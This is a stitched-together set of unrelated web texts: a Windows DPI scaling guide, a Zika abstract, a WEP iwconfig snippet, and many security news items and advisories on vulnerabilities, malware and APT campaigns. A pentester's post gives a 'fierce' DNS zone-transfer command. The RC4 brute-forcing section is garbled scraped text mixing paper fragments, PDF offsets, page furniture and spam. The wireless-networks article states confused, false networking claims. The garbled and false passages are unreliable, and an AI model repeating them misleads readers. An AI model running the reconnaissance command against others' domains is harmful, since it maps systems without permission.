The DPI value of a screen indicates how many dots per inch or pixels per inch it supports. As the resolution increases, the display density also increases. Here are a number of methods you can use to change DPI for a display in Windows Today, many PCs ship with very high resolution displays even if the PC form factor is smaller for example, an Ultrabook or a tablet. Or you may have a desktop monitor with 4K resolution. At such resolutions, Windows automatically turns on DPI scaling so everything on your screen becomes larger.
DPI stands for Dots per inch. It is the physical measurement of number of pixels in a linear inch of a display. DPI defines a scale factor that Windows transfers to apps and the shell to resize their content and controls.
Today, most popular scaling factors are in range DPI. You may want to adjust the DPI value in Windows 10 if the OS fails to detect it properly, or you find the current value not suitable for your needs. You can use the following methods.
Once you configure the custom scale option, all your displays will be set to the custom size that you specified. This will change the text size, app windows and buttons. To undo the changes you made and restore the default DPI scaling level, you can also download the following Registry tweak. Download Registry Tweak. You need to need to sign out and sign in to your user account after applying it.
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Thanks for your support! Sergey Tkachenko is a software developer from Russia who started Winaero back in On this blog, Sergey is writing about everything connected to Microsoft, Windows and popular software. Follow him on Telegram , Twitter , and YouTube. View all posts by Sergey Tkachenko. Thanks for your tutorial. Your email address will not be published. Skip to content Advertisement. Contents hide.
To Change DPI Scaling Level for Display in Windows 10,. Set Display Custom Scaling in Windows Change DPI in the Registry. Support us Winaero greatly relies on your support.
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[原文]PHP remote file inclusion vulnerability in phpRaid 3.0.6 allows remote attackers to execute arbitrary code via a URL in the phpraid_dir parameter to (1) announcements.php and (2) rss.php, a different set of vectors and affected versions than CVE-2006-3316 and CVE-2006-3116.
phpRaid contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the announcements.php script not properly sanitizing user input supplied to the 'phpraid_dir' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.
Currently, there are no known upgrades, patches, or workarounds available to correct this issue.
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Zika virus (ZIKV) is an emerging mosquito-borne virus that was first isolated from a sentinel rhesus monkey in the Zika Forest in Uganda in 1947. In Asia, the virus was isolated in Malaysia from Aedes aegypti mosquitoes in 1966, and the first human infections were reported in 1977 in Central Java, Indonesia. In this review, all reported cases of ZIKV infection in Asia as of September 1, 2016 are summarized and some of the hypotheses that could currently explain the apparently low incidence of Zika cases in Asia are explored.
Keywords: Asia; Zika virus.
Copyright © 2016 The Author(s). Published by Elsevier Ltd.. All rights reserved.
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Researchers at Trillex discovered an unauthenticated Remote Code Execution (RCE) vulnerability in 29 router models made by DrayTek. The vulnerability, tracked as CVE-2022-32548, carries a maximum CVSS v3 severity score of 10.0, categorizing it as critical. The attacker does not need credentials or user interaction to exploit the vulnerability with the default device configuration, making the attack viable via the internet or LAN. Attackers who exploit this vulnerability could potentially perform the following actions:
- Complete device takeover
- Information access
- Setup stealthy man-in-the-middle attacks
- Change DNS settings
- Use the routers as DDoS or cryptominer bots
- Pivot to devices connected to the breached network
Researchers found that of the 700,000 online devices, 200,000 expose vulnerable services on the internet and are readily exploitable, while the other 500,000 may also be exploited using one-click attacks.
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Stuxnet cyberweapon looks to be one on a production line, researchers say
By: Mark Clayton, The Christian Science Monitor
Somewhere in the world, the creators of the Stuxnet worm are involved in a cyberweapon manufacturing operation that can pump out supersophisticated malicious software tweaked for specific missions, new targets, and detection evasion.
Stuxnet, the first military-grade cyberweapon known to the world, has been called a digital missile and a cyber-Hiroshima bomb. But it was not a one-shot blast, new research shows. Rather, Stuxnet is part of a bigger cyberweapons system – a software platform, or framework – that can modify already-operational malicious software, researchers at two leading antivirus companies told the Monitor.
The platform appears to be able to fire and reload – again and again – to recalibrate for different targets and to bolt on different payloads, but with minimal added cost and effort, say researchers at Kaspersky Labs and at Symantec.
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MariaDB 'CVE-2020-2574' Denial of Service Vulnerability (Linux)
MariaDB is prone to a Denial of Service vulnerability.
The vulnerability allows an unauthenticated attacker with network access via multiple protocols to compromise the MySQL client.
MariaDB versions < 5.5.67, 10.1.x < 10.1.44, 10.2.x < 10.2.31, 10.3.x < 10.3.22 and 10.4.x < 10.4.12.
Checks if a vulnerable version is present on the target host.
Update to version 5.5.67, 10.1.44, 10.2.31, 10.3.22, 10.4.12 or later.
Common Vulnerabilities and Exposures (CVE)
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Two threat analysts recently stumbled upon Skidmap, new Linux malware that keeps its cryptocurrency mining operations hidden.
Two threat analysts recently stumbled upon new Linux malware that keeps its cryptocurrency mining operations hidden.
On Sept. 16, Augusto Remillano II and Jakub Urbanec revealed in a post on Trend Micro, a security intelligence blog, that they found new Linux malware. According to the analysts, this malware is particularly notable because of the way it loads malicious kernel modules to hide its cryptocurrency mining operations.
Malware provides hackers full access to infected machine
The analysts revealed that Skidmap masks its cryptocurrency mining by utilizing a rootkit, which is a program that installs and executes code on a system without end user consent or knowledge. This makes its malware components undetectable by the infected system’s monitoring tools.
Besides running a cryptojacking campaign on the infected machine, the malware reportedly gives attackers “unfettered access” to the affected system. The analysts add:
“Skidmap also sets up a way to gain backdoor access to the machine, and also replaces the system’s pam_unix.so file with its own malicious version. This malicious file accepts a specific password for any users, thus allowing the attackers to log in as any user in the machine.”
Cryptojacking campaigns up by 29%
Cryptojacking is an industry term for stealth crypto mining attacks which work by installing malware or otherwise gaining access to a computer’s processing power to mine for cryptocurrencies without the owner’s consent or knowledge.
In August, cybersecurity company McAfee Labs released a threat report, in which it noted an increase in cryptojacking campaigns and ransomware attacks in Q1 2019. According to the report, cryptojacking has been on the rise, with a 29% increase in cryptojacking campaigns.
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To set WEP keys, use "enc" or "key", and no "-" in front of "eth0".
Here is the relevant snippet from "man iwconfig":
Used to manipulate encryption or scrambling keys and security mode.
To set the current encryption key, just enter the key in hex digits as XXXX-XXXX-XXXX-XXXX or
XXXXXXXX. To set a key other than the current key, prepend or append [index] to the key itself
(this won't change which is the active key). You can also enter the key as an ASCII string by
using the s: prefix. Passphrase is currently not supported.
To change which key is the current active key, just enter [index] (without entering any key
off and on disable and reenable encryption.
The security mode may be open or restricted, and its meaning depend on the card used. With most
card, in open mode no authentication is used and the card may also accept non-encrypted ses-
sions, whereas in restricted mode only encrypted sessions are accepted and the card will use
authentication if available.
If you need to set multiple keys, or set a key and change the active key, you need to use multi-
ple key directives. Arguments can be put in any order, the last one will take precendence.
iwconfig eth0 key 0123-4567-89
iwconfig eth0 key s
iwconfig eth0 key open
iwconfig eth0 key off
iwconfig eth0 key restricted 0123456789
iwconfig eth0 key 01-23 key 45-67 key
This should help you figure it out. BTW, which of the iwconfig params really
works is entirely dependent on the driver (and the card).
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Being accidentally given a list of all domains and sub-domains within an organisation increases vulnerability to attacks and exploits.
A recent engagement uncovered something I”ve never encountered before – I was able to complete a full DNS zone transfer. Usually DNS is locked down so that it’s not possible to complete a zone transfer, but here we had a domain that was wide open to abuse. This particular domain had an impressive 205 sub-domains, many of which were helpfully named to convey the exact nature of the box in question. A lot of these sub-domains were helpfully named ‘dev’, ‘test’ and ‘stg’ as well, so for anyone looking to build a picture of the orgnanisation, they didn’t really have to put much effort in.
A DNS Zone Transfer should not be possible from the internet, and yet here I had a full list of domain names, sub-domains and IP addresses. Not only that, I also had a pretty good idea as to the purpose of the machines, and given the naming of some of them, it indicated that they were old systems, and probably stood a good chance of not having the latest patches applied. Development and test machines are usually less robust in their configuration as the teams using them often need to make numerous changes; this gives me another attack surface to hit.
However, I’m an ethical hacker, so a quick responsible disclosure email to the organisation indicating what I’d identified, and why they should lock their DNS down resulted in a grateful reply within the hour. I’m not going to identify the organisation in question, as they’re still in the process of resolving this issue. it’s something that they can address quickly, I’ll check soon to confirm that they’ve made the necessary changes and have plugged the security hole.
For those that aren’t sure how to check for DNS Zone Transfers, I used a trusted tool – fierce. Fierce is a DNS reconnaissance tool, it’s simple to use and incredibly powerful. There are a number of options that you can apply, for this particular domain I simply ran:
fierce --domain <domain name > output-file.txt
Within 30 seconds or so, Fierce had completed the transfer, sent the output to a file (output-file.txt) and did not need to attempt any brute force requests; when you’ve been handed the keys, you don’t really need to try any more 🙂
if you’ve not used Fierce before, please check it out. If you’re responsible for security within your organsiation, please have a look at your DNS settings, just in case.
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Taking this approach to, implement the RC4 algorithm implies the creation, of an instance-specific circuit that implements the, ciphertext/plaintext data. To complete this survey, there are a few pointers to reports of the speed of software implementation, a 1997 IEEE Multi-Chip Module Conference (MCMC '97). ⇒ Breaking windows passwords Automation and Test in Europe 2002, March 2002. Rainbow tables are pre-computed. hardware, S and K are small memory units. in 13 days. The tool which used in the implementation of the system is the Foundation ISE 3.1i. 0000017931 00000 n Security analysis and experimental results showed that the proposed scheme could protect data transmission between wireless sensor nodes from being attacked, and significantly reduced the communication overhead for the whole system compared to the existing ECC_AES scheme, thus satisfying the real-time data transmission requirement of ITS. The key was found in 22 hours, thereby winning the maximum prize money from RSA (the prize would have halved at the 24 hour mark). Suggestions cannot be applied on multi-line comments. This was broken by the Caronni group ("The Distributed Internet Crack") In cryptography, RC4 is the most widely used software stream cipher and is used in popular protocols such as Secure Sockets Layer (SSL) and WEP (to secure wireless networks), ... Table 2 shows comparison of various encryption algorithms on the basis of Type and Features. Learn more at infosecinstitute.com. 0000039103 00000 n brute force the other 2n 8 bits of the key. Ophcrack is another brute-forcing tool specially used for cracking Windows passwords. support component re-use in a plug-and-play fashion. 0000040281 00000 n It has also been ported to run on iOS and Android platforms. This may be seen as being fairly lucky since only about a quarter of the key space was searched. http://www.distributed.net/rc5/ for the current details. The key size used in this method to secure the WSNs is very small. Start your free trial. He likes to find vulnerabilities in websites and playing computer games in his free time. WSNs are easily compromised due to wireless activity and unattended environment. The premises are that a Computer simulation results of the proposed NN cryptosystem show the closeness of the results achieved by the, Side-channel attacks are considered as one of the biggest threats against modern crypto-systems. 0000028040 00000 n Encryption algorithms are applied to a variety of fields and the security of encryption algorithms depends heavily on the computational infeasibility of exhaustive key-space search. In most cases, it can crack a Windows password in a few minutes. No, to the best of our knowledge, it is not possible, apart from a brute force search over all possible keys. 0000038405 00000 n Finally, we get a new pseudo-random data stream with the seed key generated by RC4 algorithm, discard the first 48 bytes of the data stream, and then encrypt the P. A. The security of encryption algorithms depends heavily on the computational infeasibility of exhaustive key-space searches. The “known” text is essentially, guessed, but is easily deduced from the fact that, are necessary, making the guessing process, uncommitted logic gates grouped into Configurable, Logic Blocks (CLBs) with common interconnection, resources. Results, conclusions and future work are discussed in, Ron Rivest of RSA Data Security, Inc develope, the RC4 cipher in 1987, the details of which were. D. Edenfeld, A.B. pp 115-143. It cracks Windows passwords by using LM hashes through rainbow tables. This should fix #2780. LNCS 0196, Springer Verlag 1985. pp 147-173. Brute force is also used to crack the hash and guess a password from a given hash. Many cryptographic systems have no (practical) known weaknesses and so the only way of "cracking" them is to use a "brute force attack" by trying all possible keys until the message can be decoded. The computation required to solve the puzzle is "intrinsically sequential". Looks like you're using new Reddit on an old browser. It basically performs dictionary attacks against a wireless network to guess the password. The drop-2048 means 2048 S-Box swaps before even the first output byte. Hopefully "smarter" than bruteforcing. Rainbow Crack is also a popular brute-forcing tool used for password cracking. As an important development direction of ITS, the electronic toll collection (ETC) subsystem, which enables an efficient and speedy toll collection, has gained widespread popularity in the world. Fast Software Encryption: Second International Workshop, LNCS 1008, Springer-Verlag, 1995. pp 359-362. GPUs aren't oriented towards memory manipulation operations. InfoSec institute respects your privacy and will never use your personal information for anything other than to notify you of your requested course pricing. The project has (as of October 2001) swept 60% of the keyspace and will take about 4.5 months to sweep http://www.interhack.net/projects/deschall/ http://www.rsasecurity.com/news/pr/971022-2.html, Efforts are ongoing to tackle the 64 bit RC5 key from the January 1997 RSA Challenge. 0000029166 00000 n Download Rainbow Crack and read more about this tool here. B decrypts the received data in the same way and gets the message data Plain Text. RC4 has known cryptographical weaknesses; however, none of them are of much help in recovering the key, given a plaintext/ciphertext pair. I might have additional knowledge so that this value could be reduced further to a small range +-6000000000 somewhere within the given wider range. These tiny sensors form a network in such a way that they not only sense the information but also store this collected information at one place to the super node. so far is the 512 bit value (RSA-155 since it has 155 decimal digits). The modules can be of a variable rectangular shape. On Applying Molecular Computation To The Data Encryption Standard. concerning congestion around the controller arise, and make it difficult for the synthesis tools t, reducing the potential size of these networks to. This will lead to strengthen the weak XOR combiner. http://link.springer.de/link/service/series/0558/papers/0740/07400575.pdf, Ian Goldberg and David Wagner. In this article, I will try to explain brute force attacks and popular tools used in different scenarios for performing brute force attacks to get desired results. It supports all available versions of Mac OS X. Intelligent transportation systems (ITS) are advanced applications in which the transportation industry is adapted to the information technology revolution. The proposed algorithm encompasses two major components. I think I need some guidance in finding example code or papers which deal with the RC4 setup I'm looking at. However, factors that affect most are password length and combination of characters, letters and special characters. Further, the on-chip location of the area to be reconfigured can be freely chosen, so that any module can be placed anywhere within the defined dynamic region of the FPGA. Now, it supports fifteen different platforms including Unix, Windows, DOS, BeOS and OpenVMS. Nevertheless, it is not just for password cracking. However, this huge advancement put cryptosystems at a disadvantage as attackers leverage on the high computational power of this systems to carry out brute-force attacks, ... FPGA is used to implement the brute force attack on RC4 , ... RC4 is the most widely used stream cipher in software applications [Pro04]. 3) Hands-on cyber ranges It was also found that the key cannot be easily cracked by an attacker performing brute-force attack. There are many such tools available for free or paid. There is currently enormous research potential in the field of wireless sensor network security. The machine itself has a homepage at: The RC4 cipher, Programmable Gate Arrays (FPGA) and their, tools are evolving at incredible rates , and, because of this are more commonly being used to. SoCs will have to provide a functionally-correct, reliable operation of PDFCrack uses a brute-force password recovery method. way how you can earn a lot of extra $ by finishing basic jobs online from home for few hrs /daily VISIT MY-DISQUS-PROFILE to find out more, Your email address will not be published. PDFCrack recovered the 4-digit owner password on a version 1.6 PDF file with 128-bit RC4 encryption in two minutes. This tool is very popular and combines various password-cracking features. Overall, the whole, approximately 1300 clock cycles; 516 clock cycles, for initialization of S and K, 770 cycles for the, Figure 2: Abstract View of the Key-Checker's, During the design, the number of clock cycles in, more key-checker-units, will likely affect the clock, rate negatively and should be monitored such that, dependencies in the hardware also cause certain. 4) Prepare for exams with real-world practice exams 0000026024 00000 n This is due to the fact that a, keys. His area of interest is web penetration testing. details are presented in Section 4. This research work investigates HDL implementation of TACIT Encryption Algorithm. Hence I was hoping there might be some state recovery using backtracking; I tried: https://github.com/ivanpustogarov/rc4toy-recovery Which does not seem to handle dropping bytes, probably because assumptions about i and j. I'd also assume this to take ages for RC4-256. That slows brute force password search. The Hamiltonian Cycle (HC) problem is an important graph problem with many applications. Also, the proposed method is faster than the existing key security of Playfair cipher algorithm. In this way, it is different from other conventional brute-forcing tools. © 2008-2020 ResearchGate GmbH. Even 64 bits still sounds like a lot. The site may not work properly if you don't, If you do not update your browser, we suggest you visit, Press J to jump to the feed. to your account. However, it definitely isn't smaller than 234 (and it's unlikely that it's smaller than 236). Access points are connected through Distribution System (DS), typically Ethernet or wireless itself. Michael Roe. I'm also not sure if it can be parallelized easily. A High-speed DES Implementation for Network Applications. 0000026922 00000 n CRYPTO '84. To save time, you can download those rainbow tables and use them in your attacks. http://www.rsasecurity.com/rsalabs/challenges/factoring/rsa155.html. It supports various protocols including RDP, SSH, HTTP(S), SMB, POP3(S), VNC, FTP and Telnet. Pavitra Shandkhdhar is an engineering graduate and a security researcher. Several techniques are already introduced for encryption as well as decryption. Unlike the existing stream ciphers, the novelty of this proposed hash-based stream cipher algorithm is to generate a dynamic key using NFSR. More importantly, it would also be possible to reconstruct broken sectors by re-generating them. High speed FPGA architectures for the Data Encryption Standard. Discover key forensics concepts and best practices related to passwords and encryption. The implementation result in the FPGA device achieves the data throughput of 482 Mbps, operates at a maximum clock frequency of 60.31 MHz and it is improved in terms of efficiency (throughput/area) compared to existing techniques. shown to be secure against first-order DPA using information theoretic metrics. Learn more, We use analytics cookies to understand how you use our websites so we can make them better, e.g.
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Researchers have identified what they are calling an Early Bird code injection technique used by the Iranian group APT33 to burrow the TurnedUp malware inside infected systems while evading anti-malware tools.
The Early Bird code injection technique, highlighted in a Wednesday report by Cyberbit, takes advantage of the application threading process that happens when a program executes on a computer. In other words, attackers inject malware code into legitimate process threads in an effort to hide malicious code inside commonly seen and legitimate computer processes.
This process injection method is not unique. Anti-malware tools have created a technique called hooking that can easily spot when this type of technique is used by an adversary.
“Hooks are code sections that are inserted by legitimate anti-malware products when a process starts running. They are placed on specific Windows API calls. The goal of the hooks is to monitor API calls with their parameters to find malicious calls or call patterns,” Cyberbit explains.
To avoid this hooking, Cyberbit said, APT33 cybercriminals have created an Early Bird technique to circumvent the anti-malware hooking process.
The Early Bird technique “loads the malicious code in a very early stage of thread initialization, before many security products place their hooks – which allows the malware to perform its malicious actions without being detected,” said Cyberbit’s report, written by malware analyst Hod Gavriel, and principal software engineer Boris Erbesfeld.
Cyberbit said Early Bird code injection technique has been used in an array of known malware strains, including TurnedUp. The malware is variant of the notorious Carberp banking malware and DorkBot malware, researchers said. According to FireEye, which first discovered TurnedUp in September 2017, the malware is capable of data exfiltration, creating reverse shells, taking screenshots and gathering system information.
According to Cyberbit, malware code injection flow starts with creating a suspended process of a legitimate Windows process. Next, it allocates and writes malicious code into that process. It then queues an asynchronous procedure call (APC) to that process. Lastly, it resumes the main thread of the process to execute the APC that is pointing to this malicious code.
“During the initialization phase of the main thread (Right after the call to NtResumeThread), a function called NtTestAlert checks the APC queue. If the APC queue is not empty – NtTestAlert will notify the kernel which in return jump to KiUserApcDispatcher which will execute the APC. The code of the main thread itself will not execute until the code of the APC is finished executing,” the company said in an email interview.
“Before returning to user-mode, the kernel prepares the user-mode thread to jump to KiUserApcDispatcher which will execute the malicious code in our case,” researchers wrote.
The Early Bird technique is similar to many injection techniques such as AtomBombing. AtomBombing is a different approach to code injection that also doesn’t rely on easy-to-spot API calls. The AtomBombing technique, first spotted in October 2016 by enSilo researchers, allows malware to inject code into processes, sans API calls.
However, AtomBombing aimed to hide the injection, while Early Bird aims to hide the malicious actions executed post-injection, said researchers.
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Attacks on point-of-sale (POS) systems have already had serious repercussions for major retailers, and the discovery of two different types of malware on ElasticSearch servers suggests similar incidents are on the way.
Experts at Kromtech Security outlined their findings in a post on MacKeeper, which asserted two different types of malware — JackPOS and AlinaPOS — had infected more than 4,000 ElasticSearch machines. Although less known outside the tech community, ElasticSearch is an open-source search engine based on a software license called Apache Lucene.
After initially discovering the malware during a routine scan, Kromtech researchers said more than a quarter of all ElasticSearch instances were exposed to files associated with hidden command-and-control servers. Perhaps even more worryingly, all but 1 percent of the ElasticSearch systems in question are being hosted on Amazon Web Services, one of the most popular cloud computing providers.
The Kromtech team told Bleeping Computer that they had reached out to Amazon but had yet to receive a response at press time. Meanwhile, the threat from the different types of malware could be serious. An analysis of the two strains showed they go back until last year, and in some cases, systems have been infected more than once.
Using AlinaPOS and JackPOS on ElasticSearch means threat actors could have been able to wipe out information, gain full admin rights and perform remote code execution, the International Business Times reported. The servers in question were highly vulnerable due to a lack of password security or technology to authenticate user sessions. As a result, the different types of malware might remain active on a whole group of systems even if they were detected on individual servers here and there.
As Threatpost pointed out, several other security experts have discovered and exposed the potential risks associated with ElasticSearch servers, AWS and even other open-source systems such as MongoDB. Some of these vulnerabilities have led to severe consequences with well-known organizations including Verizon, Time Warner and World Wrestling Entertainment.
Hopefully, more companies will take the Kromtech experts’ advice to double-check their log files and ensure all servers are properly configured, before the different types of malware lead to a new high-profile POS attack.
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Originally posted at: http://tech.nocr.at/hacking-security/nmap-127-0-0-1-flash-style
A design flaw found in ActionScript (Flash) has been allowed the scanning hosts via trial and error. Whenever a port is queried by Flash that isn’t open, it responds with a “SecurityErrotEvent” instantly. But, when a port is open, it doesn’t get that response for an extended period of time, while it waits for a reply to “policy-file-request”. PoC can be viewed at the below address. Now the question is: What ELSE can you do with this information once you have this ability. I’ll leave that up to the color of your hat.
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The Webex vulnerability discovered by a security research expert at Trustwave SpiderLabs that could have triggered threat actors to steal sensitive information like meeting host url, usernames and authentication tokens is now addressed.
Cisco recently published details of a vulnerability that exposed sensitive information to authenticated attackers on Webex collaboration and communication platform. By exploiting the CVE-2020-3347 vulnerability, an attacker could gain access to information such as usernames, meeting information, or authentication tokens.
CVE-2020-3347 has a CVSS score of 5.5, which puts it under ‘Medium’ severity. Nevertheless, we recommend users to upgrade their Webex desktop client to version 40.6.0 wherein the vulnerability has been patched. All versions of Cisco Webex for Windows prior to v40.6.0 are affected by this vulnerability. However, Webex applications for MacOS, Android or iOS are not affected by the vulnerability.
Cisco explains in their advisory that the vulnerability is related to the use of shared memory space within the Windows OS environment, that can also be used by other applications. It goes, “Cisco Webex Meetings Desktop App uses shared memory to exchange information with the Windows operating system and other applications. The software may store sensitive information—such as usernames, meeting information, and authentication tokens—in this shared memory space.”
Any malicious actor with access to the shared memory, making him the local attacker, could get their hands on the sensitive information stored by Webex desktop client by executing a process to monitor unprotected mapped files on said memory.
Martin Rakhmanov, Security Research Manager at Trustwave SpiderLabs initially reported the vulnerability on April 23. He cited the popularity of Cisco Webex and the “explosion of video conferencing and messaging software usage” due to COVID-19 as the reason why he started his research to “see how secure the platform is”.
Rakhmanov explained that the attacker could impersonate the victim by logging on and host meetings with their credentials and meeting host URL traced through a session on unprotected memory-mapped files. The said session is:
He presented a proof of concept and worked with Cisco to get the vulnerability patched.
Proof of concept:
Rakhmanov summarized, “In an attack scenario, any malicious local user or malicious process running on a computer where WebEx Client for Windows is installed can monitor the memory mapped file for a login token. Once found the token, like any leaked credentials, can be transmitted somewhere so that it can be used to login to the WebEx account in question, download Recordings, view/edit Meetings, etc.”
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What are the types of wireless networks? There are several types of wireless networks. They can be categorized into three major groups: home wireless networks, wireless extranets, and wireless LANs.
Home wireless networks commonly use WEP or Wireless Equivalent Privacy
In most instances, a home wireless network includes many different wireless routers, usually grouped together based on their manufacturer. Each wireless router connects to a computer or other wireless device and uses a shared key to establish a connection. The major parts of a home wireless network are access points, wireless routers, and ethernet cables.
An access point is a wireless router that allows users to gain internet access. It acts as an access point for other wireless devices such as mobile phones, cordless phones, and modems. On the other hand, a wireless router is a hub that allows several access points. A hub has several ports for wireless devices and allows connection to several internet enabled devices.
On the other hand, wireless LANs are networks composed of individual computers that connect to one another over a wireline connection. It can be either a closed or an open network. A wireless lan has its own physical layer apart from the underlying layers of the underlying technologies. Some examples of such layers are WAN routers and switches and the backbone of MPLS (Multi Mode Digital Layers). Wide Area Networks (WANs) are categorized into two types: public and private.
Personal Area Networks (PA Networks) are set up within a home or office. They are classified into three layers: the physical layer, the network layer, and the application layer. A personal area network usually includes a router for internal connectivity within the home or office, wireless phones for communication with other users, Ethernet cards for transmitters within the area network, and printers for printing devices within the network.
These networks are structured on the basis of their underlying technology. The wireless signal is the physical layer and is carried by radio waves or through electric currents to the access points and then to the networks. The application layer consists of the software and protocols needed to establish communication between the wireless signal and the access points.
One example of an application layer is WAP (wireless application protocol), which provides the backbone of mobile computing. This type of wireless networking is popular in areas where high speed Internet access is critical such as hospitals, libraries, and educational facilities. Another example is the Bluetooth wireless technology used in hand held mobile devices such as cellular telephones and PDAs.
Wireless networks have many advantages over traditional wired connections. They are more secure since they do not rely on the private placement of cell towers. And, wireless networking can be expanded to cover larger areas through the employment of wireless broadband providers who provide cell towers and other infrastructure required to support wireless networks.
The wired computer network refers to the broadest scope of Internet service available. It includes residential customers, small office networks, dial up connections, and Internet service providers. Businesses make use of this wide band of connectivity because it allows them to interconnect with other business units located in different locations. Some examples of wired computer networks include the Local Area Network, which covers a defined geographical area whereas the Wide Area Network covers a much larger area.
There are three basic types of wireless networks: the optical packet switch, the wireless router, and the AP. The optical packet switch connects two or more computers via a physical network card. The wireless router is a device that broadcasts a wireless signal to several access points and then receives the information back from the access points. Finally, the AP is a device that receives, compresses, modifies, and retrieves the information from the AP.
A third type of wireless network is the hybrid network, which combines the features of the other two. In a hybrid network, one or more components such as an Ethernet card or wireless router can be present but not the AP. As a result, the AP is not necessary to deliver the signal.
These wireless technologies are also categorized according to how they work. Some wireless networks function entirely on radio communications while others utilize data signals. Wireless routers, for example, allow users to surf the Internet without having to connect directly to the Internet connection. On the other hand, radio communication technologies such as GSM cellular phones and CDMA/GPRS radios let users exchange data at much faster speeds.
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Anatova ransomware which was discovered recently is being touted by security researchers as more advanced than the Ryuk ransomware which had hit in August last year.
The ransomware was first detected and reported by McAfee researchers who believe it can become a serious threat considering the code of the ransomware is built for module extension, i.e. new features can be added to the
Anatova was detected by the McAfree security researches in a private P2P file sharing network which usually is used for sharing cracked games and software among other more legitimate uses.
So far the problems seems to be largely affecting the USA and parts of Europe.
Anatova tries to encrypt as much as possible
Anatova fools the user into clicking on the executable by replacing and mimicking the icon of a game or application and asks for admin rights, once granted it quickly tries to encrypt as many files as possible on the PC as well as check the network for any shared drives or folders and encrypt them too.
Once the files are encrypted it asks the user to send 10 DASH cryptocurrency (approx $700) to a particular address to get the decryption software.
It also deletes the default volume shadow copies to ensure you can’t do a recovery.
Unique and sophisticated
One of the things that makes Anatova unique is that it is asking for the ransom in DASH instead of the typical Bitcoin or Monero.
This according to the researcher is due to the fact that DASH recently implemented several privacy enhancing protocols making it difficult to trace the transactions.
But Anatova is also incredibly sophisticated in the way it tries to evade analysis and detection which suggests that the ransomware wasn’t built on source code available for sale on the
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How to protect yourself from Cryptojacking.
A new form of cybercrime, Cryptojacking exploits the resources of a computer without the knowledge of its owner.
What is Cryptojacking?
The term cryptojacking refers to a new form of malicious attack that consists of mining cryptocurrency on the computers and mobile devices of third parties without their knowledge. It is nothing more or less than a computer hack allowing cryptocurrency miners-hackers to exploit the hardware resources of many desktop PCs, laptops and smartphones to achieve their goals.
Cryptohackers have indeed discovered that the computing power of their dedicated computers was no longer sufficient to remain competitive and obtain cryptocurrency coins, not to mention the electricity costs generated. Instead of sticking to their own hardware resources through dedicated computers, they illegally use those of third parties.
Indeed, to mine virtual currency, a complex process is implemented, including the calculation of puzzles. This requires the use of a powerful mining computer. The honest crypto active wants to increase the computing power of his computer by investing a lot of money in hardware. The cryptohacker opts for hacking other people’s machines in order to make a profit.
What are the different types of mining malware?
Depending on how foreign computers or mobile devices are used for cryptojacking, the following categories of dangerous malware are distinguished:
Cryptojacking via Trojans/Adware
Systems that become infected through a cryptojacking Trojan via infected sites, files, downloads, or other means are used to make their CPUs and GPUs available for mining. Since they bypass antivirus programs and the task manager, they usually go unnoticed for a long time.
Here the mining code is hidden in scripts, e.g. in the form of code snippets of the Coinhive program, within websites and executed by the browser. Website visitors unwittingly make their computing power available for mining, probably even after continuing to browse outside the site, which is possible via hidden pop-ups and tabs.
Since streaming portals keep their users on the same page for a long time, they are also affected by mining codes nested in video players or disguised cryptojacking ads.
How do we detect cryptojacking?
The goal of cryptojacking is to hide in the background for as long as possible to mine as many cryptocurrencies as possible. Malware is designed to use only the power it needs and therefore goes largely unnoticed.
Symptoms of an Infection
There are some signs that your computer has been infected with cryptojacking. Here are some examples:
- High processor (CPU) usage
- The device is slower and noisier
- It overheats
- The battery drains faster
- Increase in the electricity bill
If you notice any of the symptoms above, this does not necessarily mean that your device is mining crypto without your knowledge. Open Task Manager on PC or Activity Monitor on Mac to check which programs are using your device’s computing power.
It is recommended to run a system check using anti-virus software. Most cybersecurity programs are able to recognize, detect, and quarantine cryptojacking software.
For people who run websites, you can look for suspicious lines in the HTML code or turn to programs that scan the site for malicious code.
How can you protect yourself against cryptojacking?
Ultimately, cryptojacking software is not that different from other types of malware. Here are the basics to avoid being infected by cryptojacking:
- Install antivirus and malware protection software and keep them up to date.
- Use ad blockers in your browser.
- Avoid websites known to run cryptojacking scripts.
- Protect server farms with cybersecurity systems.
If you’re an active crypto trader, you might want to check out our article on How to Use a VPN for Crypto Transactions as well.
Choose to use a VPN on your devices. VuzeVPN is available for Windows, Mac, iOS, Chrome and Edge Extension and has a 30-day money back guarantee, for you to test its features.
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Operation Karkoff 2020
APT34, also known as OilRig, targeted the government sector in Lebanon with spear-phishing emails which contained a malicious Microsoft Excel document. The threat actor dropped a new variant of the Karkoff malware family onto victims' computers capable of extracting sensitive information. The malicious software used various techniques for persistence, defense evasion, and exfiltration including scheduled tasks, obfuscation, fallback channels, masquerading, and encryption. The malware used during the operation also attempted to use a Microsoft Exchange mail server as a command and control server.
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Malware Botnet Emotet Awakes and Resumes its Spamming Campaign
The trojan malware botnet Emotet has reappeared and resumed its business of sending infected spam around the world.
Emotet, considered to be one of today's most dangerous malware botnets, had been dormant for nearly four months. It announced its comeback on September 16, when its signature spam emails arrived in the UK, Italy, Poland, Germany and the US, where individuals, business, and government entities were targeted.
Even though the email sendout started on Monday, the Emotet C2 servers had actually 'awoken' on August 22 and began responding to requests. It's believed that the Emotet operators spent the last few weeks doing a 'spring clean' of the botnet in order to get it ready to resume sending out malicious spam.
Bleeping Computer report that "Emotet is now targeting almost 66,000 unique emails for more than 30,000 domain names from 385 unique top-level domains (TLDs). As for the origin of the malicious emails ... they came from 3,362 different senders, whose credentials had been stolen. The count for the total number of unique domains reached 1,875, covering a little over 400 TLDs."
It's also been confirmed that Emotet's payload was Trickbot, the banking trojan / malware loader, that was a secondary infection dropped by Emotet. The email on which it arrived was well-disguised as "having a financial theme and appearing to come as a reply to a seemingly previous conversation." Once opened, the payload download routine "starts from malicious macro code embedded in a Word document. Recipients are tricked to enable macros via a fake warning that their Word software won't work beyond September 20." To make the email look more genuine, a Microsoft logo was added.
Users who don't realise they have been infected with Trickbot face the chance they may become victim to the Ryuk ransomware somewhere down the line.
At the time of writing, security researchers Cryptolaemus, who are tracking Emotet, are expected to publish free threat intel data.
. . .
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The Gulf Cooperation Council (GCC) countries are expected to see a general increase in state-sponsored activities or APTs (advanced persistent threats) more than the criminal activity this year, an industry expert said.
Simone Vernacchia, partner and head of digital, cybersecurity resilience and infrastructure at PwC Middle East, told TechRadar Middle East that geopolitical tensions have given rise to attacks targeting critical national infrastructure and taking the systems offline by cyber warfare is one the biggest worry in this region, followed by profit criminal activity.
